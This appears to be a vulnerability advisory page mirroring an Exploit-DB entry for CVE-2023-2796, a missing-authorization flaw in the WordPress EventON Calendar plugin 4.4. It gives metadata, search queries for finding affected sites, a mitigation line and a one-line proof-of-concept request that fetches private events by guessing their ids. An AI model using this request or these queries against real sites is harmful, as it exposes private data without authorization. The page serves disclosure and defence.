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vendor:
EventON Calendar
by:
Miguel Santareno
5.3
CVSS
MEDIUM
Unauthenticated Event Access
284
CWE
Product Name: EventON Calendar
Affected Version From: 4.4
Affected Version To: 4.4
Patch Exists: YES
Related CWE: CVE-2023-2796
CPE: a:eventon:calendar:4.4
Metasploit:
Other Scripts:
Tags: wpscan,cve,cve2023,wordpress,wp-plugin,wp,eventon,bypass
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Nuclei References: https://www.wordfence.com/threat-intel/vulnerabilities/id/dba3f3a6-3f55-4f4e-98e4-bb98d9c94bdd, https://wpscan.com/vulnerability/e9ef793c-e5a3-4c55-beee-56b0909f7a0d, https://nvd.nist.gov/vuln/detail/CVE-2023-2796
Nuclei Metadata: {'max-request': 1, 'verified': True, 'shodan-query': 'vuln:CVE-2023-2796', 'fofa-query': 'wp-content/plugins/eventon/', 'google-query': 'inurl:"/wp-content/plugins/eventon/"', 'framework': 'wordpress', 'vendor': 'myeventon', 'product': 'eventon'}
Platforms Tested: Google and Firefox latest version
2023

WordPress Plugin EventON Calendar 4.4 – Unauthenticated Event Access

The plugin lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.

Mitigation:

Update to the latest version of the plugin or apply the provided patch.
Source

Exploit-DB raw data:

# Exploit Title: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Event Access
# Date: 03.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.myeventon.com/
# Version: 4.4
# Tested on: Google and Firefox latest version
# CVE : CVE-2023-2796

# 1. Description
The plugin lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=value

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